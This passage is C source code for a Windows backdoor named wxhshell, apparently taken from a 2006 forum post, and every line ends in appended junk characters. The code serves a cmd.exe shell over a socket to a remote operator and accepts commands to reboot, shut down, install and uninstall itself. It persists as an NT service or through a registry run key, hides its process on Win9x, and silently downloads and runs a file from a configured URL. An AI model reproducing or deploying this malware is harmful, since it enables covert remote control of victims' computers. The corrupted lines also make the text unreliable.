  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wB[ JFy"E  
  } 7oL:C  
  else { -4J.YF>  
a9 S&n5  
    switch(cmd[0]) { TEK#AR  
  //$^~} wt  
  // 帮助 w 17{2']  
  case '?': { "yU<X\n i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t B}W )Eb  
    break; Ms%C:KG  
  } %f&Bt,xEo  
  // 安装 ^s=F<_{  
  case 'i': { yRhD<*  
    if(Install()) 5ry[Lgg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?WS.RBe2  
    else 3c`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mxc^IRj  
    break; Z0V6cikW6  
    } 54s90  
  // 卸载 0(uba3z  
  case 'r': { sG|,#XQ  
    if(Uninstall()) gV5mERKs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rb>2l3g*  
    else 6k7x7z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZM=eiJZ  
    break; hJ8B&u(  
    } .b2%n;_>.  
  // 显示 wxhshell 所在路径 'Ze& LQ  
  case 'p': { bg|=)sw4  
    char svExeFile[MAX_PATH]; \w$e|[~  
    strcpy(svExeFile,"\n\r"); !83 N#Y_Mz  
      strcat(svExeFile,ExeFile); UrS%t>6k  
        send(wsh,svExeFile,strlen(svExeFile),0); WL\*g] K4  
    break; ej(w{vl  
    } 5RSP.Vyx{  
  // 重启 `;Fs  
  case 'b': { sY}0PB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <V8=*n"mR  
    if(Boot(REBOOT)) `V[ hE r|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQ#"-i  
    else { PXDJ[Oj7(0  
    closesocket(wsh); q6 4bP4K  
    ExitThread(0); bh5C  
    } y<yU5  
    break; $*9:a3>zny  
    } l2LO,j}  
  // 关机 7'{Y7]+z+  
  case 'd': { H Mfhe[A?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qyBo|AQ5  
    if(Boot(SHUTDOWN)) o|VM{5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3-![% u  
    else { ab_EH}j1\q  
    closesocket(wsh); vb\R~%@T,  
    ExitThread(0); f(-3d*g  
    } d\ Xijy  
    break; dpcv'cRfw  
    } r?Pk}Q  
  // 获取shell $! UEpQ  
  case 's': { p1\E C#Q  
    CmdShell(wsh); <2w 41QZX  
    closesocket(wsh); UzkX;UA  
    ExitThread(0); l_ &T)Ei  
    break; ?d)eri8,  
  } YQ}IE[J}v  
  // 退出 c/G^}d%  
  case 'x': { 0t00X/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )x&>Cf<,  
    CloseIt(wsh); SYv5{bff =  
    break; tlmfDQD  
    } `?(9Bl  
  // 离开 )-LS n  
  case 'q': { ~uO9>(?D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m\|ie8  
    closesocket(wsh); RLF]Wa,  
    WSACleanup(); be&,V_F  
    exit(1); p-%m/d?  
    break; ]. ^e[v6  
        } 'n!Sco)C  
  } 5'"9)#Ve  
  } #tt*yOmiH  
|w`Q$ c  
  // 提示信息 tp+H]H3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [V,f@}m F  
} J|o )c~  
  } R<8!lQ4s  
OQsF$% *   
  return; >Co5_sCe  
} ;e ^`r;]  
iD!]I$  
// shell模块句柄 2-u9%  
int CmdShell(SOCKET sock)  f(*^zga,  
{ )}R w@70L-  
STARTUPINFO si; Q-f?7*>  
ZeroMemory(&si,sizeof(si)); Gn?<~8a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E#+|.0*!s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +C9 l7 q  
PROCESS_INFORMATION ProcessInfo; 8>V)SAI'  
char cmdline[]="cmd"; ^$F1U,oi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %3 $EV}dp  
  return 0; #j${R ={  
} C?VNkBJ>\  
d} ]jw4  
// 自身启动模式 Qw/H7fvh&  
int StartFromService(void) Q2!vO4!<N  
{ >[gNQJ6  
typedef struct gLPgh%B4  
{ s4{>7`N2  
  DWORD ExitStatus; +,ojlTVlt  
  DWORD PebBaseAddress; vBjrI*0  
  DWORD AffinityMask; wO ?A/s  
  DWORD BasePriority; ,qO2D_  
  ULONG UniqueProcessId; %$SO9PY  
  ULONG InheritedFromUniqueProcessId; r4Jc9Tv d  
}   PROCESS_BASIC_INFORMATION; Y**|e4  
zvnR'\A_  
PROCNTQSIP NtQueryInformationProcess; .uu[MzMIu  
XSz)$9~hk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~i/K7qZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .Zv uhOn^  
Q96^rjY  
  HANDLE             hProcess; iwT PJGK|  
  PROCESS_BASIC_INFORMATION pbi; ;R{ffS6  
"iTi+UZxe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jr=erVHK  
  if(NULL == hInst ) return 0; f 8836<c  
@t?uhT*Z=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O0 ,=@nw8.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |4|j5<5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;*XH[>I  
=-|,v*  
  if (!NtQueryInformationProcess) return 0; O4fl$egQU  
%.VFj7J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T:(c/ >  
  if(!hProcess) return 0; 'Q F@@48  
#Vi:-zyY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y|96K2BR  
j?y_ H[Z  
  CloseHandle(hProcess); P+t`Rw  
OtFGo 8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &i?>mt  
if(hProcess==NULL) return 0; zsuXN*  
K/ 5U;oC  
HMODULE hMod; 1=Nh<FuQ  
char procName[255]; ct![eWsuB  
unsigned long cbNeeded; ~zT743  
R\d)kcy4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sW]fPa(cn,  
rGb<7b%  
  CloseHandle(hProcess); +1=]93gP  
ZQY?wO: [  
if(strstr(procName,"services")) return 1; // 以服务启动 bL]NSD  
|Y&&g=7  
  return 0; // 注册表启动 j0+l-]F-  
} E|v9khN(].  
#:LI,t  
// 主模块  d| OEZx  
int StartWxhshell(LPSTR lpCmdLine) %d"d<pvx  
{ C6{\^kG^j2  
  SOCKET wsl; 5>u,Qh  
BOOL val=TRUE; )7s(]~z  
  int port=0; U/l3C(bc!  
  struct sockaddr_in door; sw$$I~21  
's_[ #a;Vp  
  if(wscfg.ws_autoins) Install(); DA wUG  
w=feXA3-S  
port=atoi(lpCmdLine); /@QPJ~%8Ud  
@pkQ2OM 2  
if(port<=0) port=wscfg.ws_port; Usz O--.C  
@[. 0,  
  WSADATA data; N>Q~WXvV#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *\PCMl  
S@Q4fmH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #)PAvBJ;m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >JckN4 v  
  door.sin_family = AF_INET; {~cM 6W]f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :ExCGS[  
  door.sin_port = htons(port); NY3.?@Z  
"1HKD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iw\yVd^]:k  
closesocket(wsl); 'K*. ?M  
return 1; ]L{diD 2G  
} )]M,OMYq-  
K|sk]2.  
  if(listen(wsl,2) == INVALID_SOCKET) { Vc*"Q8aZ~  
closesocket(wsl); -fCR^`UOS  
return 1; ]m<z  
} 7X`]}z4g  
  Wxhshell(wsl); !THa?U;  
  WSACleanup(); c%@< h6  
Ssg1p#0J  
return 0; bAS/cuZs  
Jy?; <  
} g?E8zf `  
F0x'^Z}Q;  
// 以NT服务方式启动 7*\Cf qrU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n5>OZ3 E@  
{ HP2J`>oo  
DWORD   status = 0; !hWS%m@  
  DWORD   specificError = 0xfffffff; :Fh#"<A&&  
l#bE_PD;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BHNEP |=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MmQ"z_v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7 F> a&r  
  serviceStatus.dwWin32ExitCode     = 0; K;j0cxl  
  serviceStatus.dwServiceSpecificExitCode = 0; 45A|KaVpg  
  serviceStatus.dwCheckPoint       = 0; eY\w ?pT2  
  serviceStatus.dwWaitHint       = 0; $q*hE&x Qd  
C8t;E`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e82xBLxR%  
  if (hServiceStatusHandle==0) return; x,M8NTb*  
TY;%nT  
status = GetLastError(); 7 >-(g+NF!  
  if (status!=NO_ERROR) W:8pmI  
{ Kw=][}d`D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "DvhAEM  
    serviceStatus.dwCheckPoint       = 0; F4DJML-(  
    serviceStatus.dwWaitHint       = 0; ]8f$&gw&A  
    serviceStatus.dwWin32ExitCode     = status; Dgc}T8R  
    serviceStatus.dwServiceSpecificExitCode = specificError; q1pB~eg5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  OEnCN  
    return; I/* ULR,  
  } *BHp?cn;F2  
~yiw{:\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QWwdtk  
  serviceStatus.dwCheckPoint       = 0; )|wC 1J!L  
  serviceStatus.dwWaitHint       = 0; =A{s,UP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pl\NzB,`  
} EslHml#  
pv8vW'G\E  
// 处理NT服务事件,比如:启动、停止 8_/,`}9   
VOID WINAPI NTServiceHandler(DWORD fdwControl) @Nn'G{8OG  
{ %>- ?oor  
switch(fdwControl) =z zmz7op  
{ `Z^\<{z  
case SERVICE_CONTROL_STOP: LK+67Y{25  
  serviceStatus.dwWin32ExitCode = 0; @{{6Nd5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >S>B tR l  
  serviceStatus.dwCheckPoint   = 0; tUi@'%>=5  
  serviceStatus.dwWaitHint     = 0; XaF;IS@A  
  { moRo>bvN~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?7uK:'8  
  } x %W%  
  return; X`28?  
case SERVICE_CONTROL_PAUSE: Yk0/f|>O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +CN!3(r  
  break; wvRwb   
case SERVICE_CONTROL_CONTINUE: .iYp9?t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W. BX6  
  break; ? =G{2E.  
case SERVICE_CONTROL_INTERROGATE: 'x6rU"e$J  
  break; wOg#J  
}; '| p"HbJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L~Y^O`c  
} RTr"#[  
I]a [Ngj  
// 标准应用程序主函数 f7/M_sx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OlP1Zd/l  
{ F^.~37= @  
u#UtPF7q  
// 获取操作系统版本 DE+k'8\T  
OsIsNt=GetOsVer(); g@Pq<   
GetModuleFileName(NULL,ExeFile,MAX_PATH); P*n/qj8h  
5mX^{V&^  
  // 从命令行安装 3_8W5J3I  
  if(strpbrk(lpCmdLine,"iI")) Install(); m 48Ab`  
2~R%_r+<  
  // 下载执行文件 D$+g5u)  
if(wscfg.ws_downexe) { !j%u wje\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |w{C!Q8l  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0g9y4z{H  
} Z*Rg ik  
]=PkgOJD  
if(!OsIsNt) { v 6s]X*l?  
// 如果时win9x,隐藏进程并且设置为注册表启动 a$\ Bt_  
HideProc(); bFSs{\zE  
StartWxhshell(lpCmdLine); ICiGZ'k  
} aW}d=y[  
else C-\3,  
  if(StartFromService()) T;]Ob3(BpW  
  // 以服务方式启动 X]o"4#CQIX  
  StartServiceCtrlDispatcher(DispatchTable); z;MPp#Y  
else ZL:SJ,C  
  // 普通方式启动 F]fXS-@ c  
  StartWxhshell(lpCmdLine); 4)8e0L*[B?  
;/t~MH  
return 0; GG"6O_  
}
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只看该作者 1 发表于: 2006-10-10
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